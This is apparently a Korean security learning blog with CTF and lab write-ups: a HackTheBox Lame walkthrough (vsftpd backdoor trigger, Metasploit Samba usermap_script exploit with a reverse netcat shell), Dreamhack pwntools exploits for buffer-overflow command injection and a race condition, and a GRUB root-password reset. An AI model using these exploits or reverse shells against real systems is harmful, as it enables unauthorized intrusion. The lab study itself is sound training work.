Completed SYN Stealth Scan at 11:13, 24.31s elapsed (1000 total ports)
Initiating Service scan at 11:13
Scanning 4 services on 10.10.10.3
Completed Service scan at 11:13, 12.84s elapsed (4 services on 1 host)
NSE: Script scanning 10.10.10.3.
Initiating NSE at 11:13
NSE: [ftp-bounce] PORT response: 500 Illegal PORT command.
Completed NSE at 11:14, 40.09s elapsed
Initiating NSE at 11:14
Completed NSE at 11:14, 3.83s elapsed
Initiating NSE at 11:14
Completed NSE at 11:14, 0.00s elapsed
Nmap scan report for 10.10.10.3
Host is up (0.30s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 10.10.16.36
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 2h00m24s, deviation: 2h49m46s, median: 21s
| smb-os-discovery:
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: lame
|   NetBIOS computer name:
|   Domain name: hackthebox.gr
|   FQDN: lame.hackthebox.gr
|_  System time: 2025-04-04T11:14:25-04:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)

NSE: Script Post-scanning.
Initiating NSE at 11:14
Completed NSE at 11:14, 0.00s elapsed
Initiating NSE at 11:14
Completed NSE at 11:14, 0.00s elapsed
Initiating NSE at 11:14
Completed NSE at 11:14, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 81.66 seconds
           Raw packets sent: 2013 (88.548KB) | Rcvd: 18 (776B)

결과는 엄청 길게 나왔는데 여기서 주의 깊게 봐야 하는 부분은 다음과 같다.

2-1-1. 열린 포트 확인

[사진 1] Lame 머신에서 열린 포트 스캔 결과

포트 서비스 용도
21/tcp FTP (파일 전송 프로토콜)
22/tcp SSH (원격 접속)
139/tcp NetBIOS Session Service (SMB 관련)
445/tcp SMB (Windows 파일 공유 프로토콜)
  • SMB 서비스 포트 139, 445가 열려있음을 확인하였다
  • FTP (21) : 취약한 FTP 버전일 경우 바로 공격이 가능한 상태다
  • SSH (22) : 보통은 루트권한 획득 이후 접속 용도이다

2-1-2. 포트별 서비스와 버전 정보 확인

[사진 2,3] FTP 서비스 버전 정보, Microsoft-DS 버전 정보
[사진 5,6] SSH 서비스 버전 정보, NetBIOS-SSN 버전 정보

2-1-3. 핵심 포트 및 서비스 요약

포트 서비스 버전 정보 주목 포인트
21/tcp FTP  2.3.4 익명 로그인 허용(Anonymous login allowed)
22/tcp SSH OpenSSH 4.7p1 Debian 참고용도(루트 권한 없으면 공격 불가)
139/tcp NetBIOS-SSN Samba smbd 3.0.20-Debian user-level에서 접근 가능한 SMB 취약점 가능성
445/tcp Microsoft-DS Samba 3.0.20-Debian 위와 동일. SMB 관련 공격 후보
  • FTP : vsftpd 2.3.4
    • 해당 버전은 백도어 취약점 CVE-2011-2523이 존재한다
    • 익명 로그인이 허용된다.(사진 2번, ftp-anon NSE 결과에서 확인 가능)
    • 메타스플로잇으로 자동 공격이 가능하다
# 익명 로그인 테스트 명령어
ftp 10.10.10.3
  • FTP 접속 출력 결과
    • Name (10.10.10.3 kali) : anonymous 
    • Password : 어지간함 엔터 누르면 됨
    • 익명으로 접속하여 디렉터리 목록 출력을 요청했지만 결과를 반환하지 않는 걸 알 수 있다.(비어있거나 접근 제한된 상태)

[사진 6] FTP 접속 결과

  • SMB : Samba 3.0.20
    • 해당 버전은 usermap script 취약점 CVE-2007-2447이 존재할 수 있다. 
    • user-level에서 접근 가능, smb-os-discovery 결과가 출력되어 있다.(사진 3에서 확인 가능)
    • 구버전 윈도우 공유 기능으로, 사용자 정보 및 쉘을 따는 게 가능한 상태이다.
    • 공격 툴 : metasploit, smbclient, smbmap, enum4linux
# SMB 공유 목록 확인 명령어
# -L : 리스트 보기 | -N : 비밀번호 없이 접속
smbclient -L \\\\10.10.10.3\\ -N
  • SMB 공유 폴더 접속 및 분석 결과
    • 비밀번호 없이 SMB 서버에 접속한 상태로, 공유 목록을 확인할 수 있다.

[사진 7] smbclient 접속 결과

Sharename Type Comment
print$ 프린터 드라이버 공유 Print Drivers
tmp 디스크 타입, "oh, noes!" 코멘트 확인 접속 시도 후보
opt 다른 공유 폴더 접속 시도 후보
IPC$, ADMIN$ 시스템 공유 (보통은 접근 안됨) 참고 용도

  • tmp 공유 파일 접속 시도
smbclient \\\\10.10.10.3\\tmp -N

[사진 8] tmp 공유 파일 접속 시도 결과

파일/폴더 설명
xwgdaq, .ICE-unix, .X11-unix, vmware-root  GUI 관련 디렉터리들(VMware 환경 흔적 존재)
5541.jsvc_up 일반적인 파일 이름이 아님. 사용자 코드나 서비스에 대한 힌트일 가능성 존재
vgauthsvc.log.txt.0 로그파일(.txt.0)으로, 정보가 나올 수 있음

  • 의심되는 공유 파일 다운로드 시도
# 로그 파일 다운로드
get vgauthsvc.log.txt.0

# 의심되는 파일 다운로드
get 5541.jsvp_up

[사진 9] 공유 파일 다운로드 결과

파일명 접근 가능 여부 의미
vgauthsvc.log.txt.0 다운로드 성공 분석 가능함
opt 권한 부족(NT_STATUS_ACCESS_DENIED) 권한 부족
5541.jsvc_up 권한 부족(NT_STATUS_ACCESS_DENIED)  익명 접근으로는 한계, 유저 권한 필요

  • vgauthsvc.log.txt.0 파일 분석
# 로그 파일 출력 명령어
cat vgauthsvc.log.txt.0

[사진 11] 로그 파일 출력 결과

항목 내용
서비스 이름 VGAuthService(VMware 인증 관련)
로그 위치 /etc/vmware-tools/vgauth.conf
서비스 상태 INIT SERVICE, BEGIN SERVICE 등 ->실행 중 로그
메시지 SAML 관련 정보 존재, 로그 레벨은 normal
  • 이 머신은 VMware 가상환경 위에 올라가 있으며, 로그만으로는 직접적인 취약점 정보를 찾을 수 없는 상태이다
  • 다만 내부 시스템 구조, 인증 서비스, 경로 힌트는 파악할 수 있다.

2-1-4. 현재까지의 상황 정리

절차 상세 내용
1. nmap 스캔 서버 내부 포트 확인 및 버전 정보 확인
2. FTP 접속 익명 로그인이 가능한 버전(vsftpd 2.3.4)
3. SMB 탐색 파일 공유 시스템이 열려 있는 것을 확인함. 의심 파일 분석
4. tmp 공유 파일 접속 접근 권한, 내부 파일 구조 및 로그 파일 탐색/다운로드
5. 로그 분석 서버가 VMware 가상머신임을 확인, 인증 시스템 존재 확인

2-2. 공격 실습

nmap으로 확인된 취약점으로 가능한 공격은 총 두가지다. 

공격 대상 취약점 정보 상세설명
vsftpd 2.3.4 CVE-2011-2523 로그인 시도에 : ) 넣으면 백도어가 열리는 유명 취약점
Samba 3.0.20 CVE-2007-2447 오래된 공유 시스템에 명령어 삽입 가능한 취약점

2-2-1. vsftpd 2.3.4 백도어 취약점 테스트

다음은 USER 명령에 :)를 같이 입력하여 백도어가 활성화되도록 트리거를 거는 명령어이다.

# 열려있는 포트 21번, telnet으로 접속한다
telnet 10.10.10.3 21
# USER 명령에 :)를 포함한다 -> 백도어 활성화 트리거
USER back :)
# PASSWORD 넘어감
PASS whatever

# PASSWORD 까지 성공할 경우 다음의 코드 입력
# nmap으로 10.10.10.3의 모든 포트를 스캔한다
nmap -p- 10.10.10.3

# 6200번 포트가 나올 경우 telnet으로 이 포트에 접근하여 리버스 쉘을 연다
telnet 10.10.10.3 6200

[사진 12] 백도어 트리거 시도 결과

  • 테스 트 결과, vsftpd 백도어는 실습용 머신 설정 상 현재 비활성화된 상태인 걸 확인할 수 있었다.
  • 따라서 리버스쉘은 전개가 불가한 상황이다

2-2-2. Samba 3.0.20 유저 맵핑 취약점 학인

2-2-2-1. Metasploit 사용을 위한 msfconsole 실행

# msfconsole 접속
msfconsole

[사진 13] 메타스플로잇 접속

2-2-2-2. 취약점 모듈 로딩

use exploit/multi/samba/usermap_script
  • Samba usermap_script 취약점 모듈을 사용한다
  • 오래된 Samba에서 쉘 명령어를 주입할 수 있게 해주는 취약점을 이용하겠다는 뜻이다

2-2-2-3. 설정값 입력

set RHOSTS 10.10.10.3
set RPORT 139
  • RHOSTS : 타깃 머신 IP
  • RPORT : Samba가 사용하는 포트번호 = 139번

2-2-2-4. 페이로드 설정 

set PAYLOAD cmd/unix/reverse_netcat
set LHOST [리눅스 vpn IP]
set LPORT [포트번호 지정 ex.5555]
  • 첫번째 페이로드 설정의 경우, 해당 취약점을 성공시키려면 타겟 컴퓨터가 리버스쉘로 공격자의 컴퓨터에 접속하라는 뜻이다
  • LHOST : 내 리눅스 VPN IP
  • LPORT : 리버스쉘이 들어올 내 포트

[오류 1] 리눅스 IP 지정 오류

[사진 14] Handler failed 오류 출력

  • Hack The Box는 VPN 연결 후 생기는 tun0 인터페이스를 통해 공격/응답을 주고 받는다.
  • 따라서 ifconfig로 확인한 리눅스 IP는 리버스쉘을 받을 수 없는 상태로, 오류가 발생한다
  • 해결 방법
# 리눅스에서 VPN 연결된 IP 확인
ip a | grep tun0
# LHOST 재설정
set LHOST [vpn ip]

[오류 2] Netcat 포트 점유 오류

[사진 14,15] 포트 충돌로 인한 오류 출력

  • nc -lvnp [포트번호] 명령어 실행 시 Netcat 리스너가 포트를 미리 점유하고 있어 메타스플로잇과 충돌하는 현상으로,
  • 다른 터미널 창에서 작동하고 있는 Netcat을 닫고 메타스플로잇만 돌려서 오류를 해결하였다.

2-2-2-5. msfconsole에서 run 명령어 실행

[사진 16] 정상 작동하는 메타스플로잇과 초기 권한 획득 성공

  • 취약점이 작동해서 타겟 컴퓨터가 공격자 쪽으로 쉥릉 보내면, 메타스플로잇에서 Session이 열렸다고 신호를 준다.

2-2-2-6. 현재 쉘 세션에 진입

# 현재 연결된 쉘 세션 확인
sessions
# ID 1번 세션으로 진입
sessions -i 1

[사진 17] sessions 입력 후 출력 결과

  • 메타스플로잇이 돌아가고 있는 터미널은 그대로 두고, 새 터미널 창을 열어 msfconsole로 들어가 세션 1번으로 진입한다.
  • 성공 시 타깃 컴퓨터의 쉘에서 초기 권한을 획득했단 의미며, 여기서 원하는 명령어를 실행할 수 있는데, 다음과 같이 나온다.

[사진 18] 타깃 컴퓨터의 쉘으로 진입한 결과

명령어 상세 내용
whoami 현재 권한 확인
uname -a 시스템 정보, 커널 버전 확인
id 권한 ID 확인
ls -la 디렉터리 탐색
pwd 현재 디렉터리 경로 확인

2-2-2-7. root 플래그 획득

cd /root
ls
cat root.txt

[사진 19] root 플래그 획득

2-2-2-3. user makis의 플래그 획득

cd /user
ls
cd makis
cat user.txt

[사진 20] user flag 획득 과정

'컴퓨터 > HTB' 카테고리의 다른 글

[HTB] HackTheBox OpenVpn 환경 세팅  (0) 2025.04.09

1. 개요

이번에 풀 문제는 버퍼 오버플로우(Buffer Overflow) 관련된 것으로, 입력받는 값이 버퍼를 가득 채워버려서 버퍼 이후의 공간까지 침범한 후 원하는 명령어로 조작하거나 다른 정보도 확인할 수도 있는 취약점이다.
일단 난 못알아먹을 거 같으니 좀 간단히라도 써보려고 한다. 

 

cmd_center

Description IP를 확인할 필요가 없습니다! 혹시 다른 명령어는 못쓰나요? 다른 명령어를 사용했다면 플래그를 획득하세요! References https://dreamhack.io/learn/2/1#3 https://dreamhack.io/learn/2/14#3

dreamhack.io

2. 문제 분석

일단 코드를 열어봤더니 다음처럼 나왔다. 내 눈엔 뭐가 이리저리 많아서 복잡해보이지만 다음에서 코드를 간단히 설명해보겠다.

[사진1] cmd_center.c 코드

2-1. 스택과 스택 버퍼

char cmd_ip[256] = "ifconfig";
int dummy;
char center_name[24];
  • 첫번째 명령줄
    문자형(char) 배열으로 256바이트 배열을 만들었는데 이름은 cmd_ip이다.
    "ifconfig" 라는 명령어는 이 배열 안에 각각 1바이트씩 차지하고 있는 상태.
  • 두번째 명령줄
    4바이트짜리 정수형(int) 변수를 선언했는데 이름이 dummy다. 말 그대로 그냥 더미다
  • 세번째 명령줄
    첫번째 명령줄과 비슷하게 문자형 배열으로 24바이트 배열을 만들었는데 이름은 center_name.
    얘는 별다른 입력 없이 그냥 선언만 된 걸 보면 아마 입력값을 받는 곳일 거 같다.

이 세가지를 선언한 후 컴퓨터 메모리에선 어떤 일이 생기고 있는데.. (그림판으로 그려서 똥같다)

  1. 프로그램에서 선언한 cmd_ip > dummy > cmd_center 순으로 스택에 쌓이기 시작한다.
  2. 이 삼형제는 각자의 데이터를 저장하는 버퍼인데 마침 cmd_ip는 ifconfig라는 명령어 하나를 가지고 있는 상태다.

[사진1] 스택에 쌓여있는 변수들

[참고용어] 스택과 버퍼

더보기
  • 스택(Stack) : 메모리의 일부로, 지역 변수 및 함수의 매개변수가 저장되는 영역.
    함수가 호출될 때마다 새로운 스택 프레임이 생성되며, 함수가 끝나면 해당 스택 프레임이 제거됨.
  • 버퍼(Buffer) : 데이터를 임시로 저장하는 메모리 공간.
    cmd_center, dummy, cmd_ip도 스택 내에서 선언된 변수이므로 "스택 버퍼"에 해당.
    다만, 버퍼는 단순히 데이터를 저장하는 역할, 스택은 함수 호출/복귀까지 관리하는 차이가 있음.

2-2. 초과된 배열과 버퍼오버플로우 (Buffer Over Flow)

printf("Center name: ");
read(0, center_name, 100);

이 문제에서 다룰 수 있는 대망의 하이라이트, read 함수이다.
간단히 설명하자면 얘는 입력 값의 크기를 제한 두지 않고 곧이곧대로 그 크기만큼 입력받는 애다.

앞서 2-1에서 선언된 center_name 배열엔 24바이트만큼 크기가 주어진 상황인데, 여기선 100바이트를 입력받고 있다.
이게 대충 뭔 소리냐면

기차 = cmd_ip, dummy, center_name
좌석 수 = 256, 4, 24
승무원 = read
사람 = 100 이라고 치자.

  1. 세가지의 기차는 각각의 좌석 수(버퍼 크기)를 가지고 있다
  2. center_name칸에 좌석이 24석뿐인데, read라는 승무원이 사람 100명을 욱여넣고 있다.
  3. 초과된 76명은 dummy칸, cmd_ip칸까지 밀려 들어가면서 기존 좌석에 있던 사람은 밀려나고 새로운 사람이 자리를 차지하게 된다.(=원래 ifconfig가 덮어씌워져 사라진다)
  4. 만약 밀려 들어온 사람들 중에 바이러스 감염자가 있다면? 악성 명령어가 cmd_ip에 들어가면서 실행될 수 있다

한마디로, 허용인원이 초과하는 것도 문젠데 와중에 위험한 승객이 타고 있는 상황이다.

2-3. strcmp와 명령어 주입 공격 (Command Injection)

if( !strncmp(cmd_ip, "ifconfig", 8)) {
	system(cmd_ip);
}

이 부분을 간단하게 설명해보자면, cmd_ip의 처음 8바이트가 ifconfig이기만 하면 시스템 명령어를 실행한다는 소리다.
물론 난 간단하게 설명해줘도 이해가 안가니 명령어를 하나씩 설명해보겠다.

  • strcmp(cmd_ip, "ifconfig", 8) : cmd_ip의 앞의 8자리가 ifconfig라면 참이므로 0을 반환할건데, 반대로 8자리보다 길면 1, 적으면 -1을 반환할 거란 소리다.
  • ! : 논리부정연산자로 !0이라면 네가 8자리가 ifconfig니까 0을 반환한 건 인정했는데 결과만 뒤집어서 1을 반환한다는 얘기다. 반대로 !1이면 그대로 꺼버리겠단 소리
  • 참고로 c언어에서 0은 false, 1은 true라는 의미다. 마지막은 표에 정리해둔다.

결국 같은 표현이지만 컴퓨터가 알아먹은 걸로 설명하자면 이거다.

  1. 난 네가 쓴 문자열 cmd_ip가 앞에 8자리가 ifconfig면 0을 반환해줄게
  2. 근데 난 1을 true라고 여기니까 논리부정연산자로 결과를 뒤집을 거야
  3. 만약 1이면 cmd_ip에 적힌 걸 system 명령어로 실행할 거야
strcmp(a,b) 문자열 비교 시 반환값 논리 부정 연산자 !
둘이 같을 경우 0 1 (true)
a가 b보다 큰 문자열일 경우 1 0 (false)
a보다 b가 큰 문자열일 경우 -1 0 (false)

3. 그래서 어떻게 익스플로잇 할 것인가?

밀려들어간 사람들 중 바이러스 감염자를 만들기 위한 작업으로, read에겐 100바이트와 함께 명령어 쉘을 실행시킬 거다.

from pwn import *

p = remote('host1.dreamhack.games', 16386)

p.recvuntil(b'Center name: ')  # 여기서 정확히 프롬프트를 받도록 기다려준다.

payload = b'A'*0x20 + b'ifconfig; /bin/sh'  # 기존 payload 확인
p.sendline(payload)  # sendline만 사용

p.interactive()
  •  b'A'0x20 : cmd_ip 영역의 일부가 덮어씌워진 상항에서 쓰레기 값이 섞여있을 가능성이 높으므로 이 배열의 앞부분 32바이트 정도를 A로 채워주면서 이전 데이터를 정리한다.
  • ifconfig; /bin/sh : A 뒤에 입력한 명령어로, ifconfig가 끝나면 뒤에 명령어 쉘을 실행한다 = system(cmd_ip) 동작
  • 만약 A로 정리 안해두고 그냥 명령어를 입력하게 되면 배열은 이렇게 되어있어서 명령어가 꼬이거나 실행 안될 수도 있다. "adjlakjflajfljaldjfljflkkldffifconfig; /bin/sh "

4. 실습 영상

동영상 서비스가 종료되어 해당 콘텐츠를 재생할 수 없습니다.

5. [번외] 코드 오류가 생길 경우

[사진2,3] 오류가 생긴 코드와 출력 결과

원래는 sendlineafter를 사용했는데 입력을 기다리는 과정에서 예상한 문자열이 제대로 출력되지 않았는지 오류가 계속 발생했다.지금 같은 오류가 출력되는 경우 아까 4번에 적어둔 코드처럼 recvuntil을 쓰면 원하는 문자열이 나올 때까지 기다릴 수 있어서, 입력 타이밍이 어긋나는 문제를 해결할 수 있다.

(다시 해봤는데 왜 지금은 또 되는지 알다가도 모르겠다 ?-?)

'컴퓨터 > 드림핵' 카테고리의 다른 글

[드림핵] Race with me? 풀이  (0) 2025.03.01

1. 개요

이 문제는 레이스 컨디션 문제로, 컴퓨터에서 여러 개의 작업이 같은 데이터를 동시에 수정하려고 할 때 발생하는 예상치 못한 오류로 인해 생기는 취약점을 다루고 있다. 문제는 밑에 링크 걸어두었다.

다음으로 다룰 건 문제 구성 파일 분석 및 도커 이미지 실행 과정으로, 그냥 문제 풀이로 가려면 3번으로 가면 된다

 

Race with me?

Korean 빠르게 달려볼까요~? [2025년 1월 13일 (월) 오후 10:35분] 오타 및 줄바꿈 변경 English Shall we run fast~? [January 13, 2025 (Monday) 10:35 PM] Typos and line breaks changed

dreamhack.io

2. 문제 파일 분석

문제 구성은 도커 파일과 deploy 폴더가 있다. deploy 폴더 내부로 들어갔더니 chall과 flag 파일이 보인다.
따라서 도커로 이미지를 열어본다.

[사진1.2] 문제 구성 파일과 deploy 내부 파일

2-1. 문제 파일을 저장한 경로로 가서 cmd 창을 열기

[사진3,4] cmd를 경로에 입력한 후 문제 저장 경로에서 연 모습

[참고사항] 여기선 도커 데스크탑을 설치해둔 상태로, 일단 도커가 실행되고 있어야 docker 명령어 오류가 안생긴다

2-2. docker 명령어 입력하기

여기선 이미지 이름을 알아보기 쉽게 racew라고 이름을 지어줬다.

docker build -t [이미지 이름] .
docker run -it [이미지 이름]

[사진5,6] dockeer 명령어 입력 결과 및 도커 이미지 실행

2-3. 컨테이너 내부 진입 후 파일 확인

대쉬보드로 넘어가보면 이미지처럼 컨테이너가 racew 이미지로 생성된 걸 볼 수 있다. 파워셀을 열어 다음의 명령어를 입력한다.

docker exec -it [컨테이너 이름] /bin/bash

[사진7,8] 이미지 생성 결과 및 도커 컨테이너 진입 후

2-4. chall과 flag 파일 확인

일단 chall 파일은 바이너리 파일이라 깨져서 나오는데 일부를 보면 1. Input value 2.Start thread 등등 일부가 보인다.
사용자 입력을 받고 스레드를 시작하고 플래그를 얻는 거라고 생각하고 다음단계로 간다

[사진9] cat chall 결과 중 일부

추가적으로 flag 파일을 확인해보면 다음처럼 나오는데.. 그럼 그렇지 ㅡㅡ

[사진10] cat flag 결과

3. 문제 풀이

다음의 사진은 IDA로 디컴파일한 chall의 일부로, 문제를 풀면서 가장 눈여겨 본 부분이다.

[사진10] IDA로 디컴파일한 결과

3-1. case 3

if ( qword_4030 == 3735928559LL )
  printf("Flag : %s\n", (const char *)ptr);

qword_4030 == 3735928559LL 이라면 flag를 출력한다는 의미이다.
여기서 qword_4030은 인증받아야 하는 어떤 변수, 3735928559LL은 변하지 않는 값이라고 추측하게 되었다.

3-2. case 1

printf("Input: ");
__isoc99_scanf("%lu", &qword_4038);

이 부분은 사용자 입력값을 qword_4038이란 변수에 저장한단 의미이다.
여기서 눈여겨 볼 곳은 이 변수로, 레이스 컨디션 공격의 중요한 부분 중 하나는 확실하다고 보게 되었디.

3-3. case 2

if ( pthread_create(&newthread, 0LL, start_routine, 0LL) )
{
  perror("Thread creation failed\n");
  exit(1);
}
pthread_detach(newthread);

이 부분에서는 세가지를 눈여겨 볼 수 있다.

  • pthread_create() : 새로운 스레드를 만드는 함수
  • pthread_detach() : 스레드가 독립적으로 실행되다 끝나면 정리하는 함수
  • start_routine : 새로운 스레드가 생성되었을 때 실행할 무언가. >> 어떤 동작이 있을 거라고 생각할 수 있다.

3-4. start_routine

[사진11] start_routine 동작 코드

예상대로 start_routine에는 스레드가 생성될 때 실행할 무언가가 맞았다.
이 부분에선 qword_4038 즉, 사용자 입력값이 3735928559LL이 아닐 경우, 0xAu(10초)동안 스레드를 재운 후 qword_4030(인증받아야 하는 변수)에  사용자 입력값을 복사한다는 의미다,
쉽게 얘기해서 스레드를 재울 때 값을 입력한 후, 스레드가 일어나면 인증받아야 할 변수에 이 값을 복사한다는 거다.

복잡하면 걍 이렇게 생각하자.
스레드 = 자동차 / sleep = 정지 

  1. 자동차가 쌩 달리고 있는데 갑자기 10초동안 정지하라고 한다
  2. 원래 있던 4030운전석에 4038(사용자 입력값)이 앉는다 (GTA??)
  3. 자동차는 10초 후 운전자가 누군지도 모르고 그대로 쌩 달린다.

3-5. 4038이 4030에 앉으려면?

[사진12] chall을 실행한 결과

스레드가 잠들어있는 동안 값을 조작해서 스레드가 일어나면 원하는 값으로 설정되게끔 파이썬 스크립트를 작성해야한다.
스크립트의 내용을 간략하게 설명하면 다음과 같다.

  1. 2번 Start thread에서 스레드를 생성한다. (여기서 start_routine이 동작하면서 스레드가 잠든다)
  2. 스레드가 잠들었을 때 1번 Input value에서 사용자 입력값에 3735928559를 입력해둔다,
  3. 스레드가 일어날 때까지 10초간 기다리면 자동으로 4038(사용자 입력값)은 4030에 복사된다.
  4. 이 때 3번 Get Flag로 플래그를 출력하면 값을 얻을 수 있다.
from pwn import *  # Pwntools 라이브러리 불러오기
import time

p = remote('host1.dreamhack.games', 16246)  # DreamHack 서버의 포트번호 16246에 연결

p.sendlineafter(b'Input: ', b'2')  # 2번(스레드 생성)
p.sendlineafter(b'Input: ', b'1')  # 1번(값 입력)
p.sendlineafter(b'Input: ', b'3735928559')  # 3735928559 = 0xDEADBEEF

time.sleep(10)  # 10초 대기 (스레드가 sleep(10) 중이므로)

p.sendlineafter(b'Input: ', b'3')  # 3번(플래그 출력)
flag = p.recvline().decode()
print(f'Flag: {flag}')  # 플래그 출력

이 자동화 스크립트는 다음의 블로그에서 참고한 것으로, 링크를 남겨둔다.
 https://hyungin0505.tistory.com/99

 

레이스 컨디션 (Race Condition) & TOCTOU

레이스 컨디션 (Race Condition)두 개 이상의 프로세스 혹은 스레드가 공유 리소스(파일, 메모리 등)에 접근할 때, 실행 순서에 따라 예상하지 못한 결과가 발생하는 상황이다실행 순서가 올바르게

hyungin0505.tistory.com

3-6. [부록] 실습영상 : 스크립트의 결과

다음은 실습한 걸 영상으로 찍어둔 거다. 

동영상 서비스가 종료되어 해당 콘텐츠를 재생할 수 없습니다.

 

'컴퓨터 > 드림핵' 카테고리의 다른 글

[드림핵] cmd_center 풀이  (0) 2025.03.03

1. 개요

이 글은 뒤돌아서면 까먹는 저를 위한 것으로, 때는 리눅스를 처음 배울 때였습니다.
부팅 후 로그인해야 하는 상황에 비밀번호를 까먹었던 거죠.
지금도 글들 사이에 까먹었다거나 모른다는 게 적혀있는 이유기도 합니다. 거두절미하고 시작합니다.

[대표사진] 큰일났다

2. root 패스워드 변경하기

패스워드를 변경하기 위한 절차는 다음과 같습니다.

  1. 재부팅 후 F2를 눌러 Grub으로 진입
  2. Grub에서 파일 수정
  3. 명령어 입력 (관리자 비밀번호 재설정)
  4. 명령어 입력 (사용자 비밀번호 재설정)

2-1. 재부팅 후 shift를 눌러 Grub으로 진입

리눅스를 재부팅하면서 Shif키를 눌러주면 이렇게 리눅스의 부트로더, Grub으로 들어올 수 있습니다.
여기서 'e'키를 눌러주면 두번째 사진처럼 나옵니다.

[사진1,2] 부트로더에 진입한 결과

2-2. Grub에서 파일 수정

이때 아래 화살표 방향키를 누르며, 빨간 박스로 쳐진 "ro quiet splash $vt handoff"를 찾으면 지우고 다음처럼 입력합니다.
그 다음 CTRL + X를 눌러 빠져나오면 됩니다.

ro quiet splash $vt handoff >> rw init=/bin/bash
[사진3,4] ro quiet를 rw init으로 수정한 결과

2-3. 명령어 입력 (관리자 비밀번호 재설정)

이것저것 쫘라락 뜨다가 root@(none):/# 가 나오면 passwd를 입력하여 비밀번호를 바꾼 후, reboot -f를 눌러 재부팅합니다. 만약 사용자 비밀번호도 바꿔야 한다면 reboot -f를 하지 않고 2-4로 넘어가서 진행합니다.

passwd
>> New password : [새로운 비밀번호 입력]
>> Retype password : [다시 입력]
>> passwd : password updated successfully

reboot -f
[사진5] 관리자 비밀번호를 바꾸고 재부팅하는 과정

2-4. 명령어 입력 (사용자 비밀번호 재설정)

사용자 계정 이름을 확인하기 위해 다음과 같이 입력하면 사진처럼 현재 계정 이름이 나옵니다

grep /bin/bash /etc/passwd
[사진6] 사용자 계정 확인

확인 후 다음처럼 입력합니다.

passwd [사용자 계정이름]
>> New password : [새로운 비밀번호 입력]
>> Retype password : [다시 입력]
>> passwd: password updated successfully

reboot -f
[사진7] 사용자 계정 비밀번호 재설정 후 재부팅하는 과정

3. 확인 결과

재설정한 사용자 계정 비밀번호로 로그인 성공하면 이렇게 뜹니다 와 박수 짝.

[사진8,9] 비밀번호 바꾸고 로그인 성공 결과


아직 끝나지 않았습니다
. CTRL+ ALT+T를 눌러 터미널 창으로 진입 후 su - 를 입력하고  관리자 계정으로 로그인 해줍니다.

[사진10] 터미널 창에서 관리자 계정으로 로그인 성공

이렇게 뜨면 성공입니다. 와 박수 짝짝.

+ Recent posts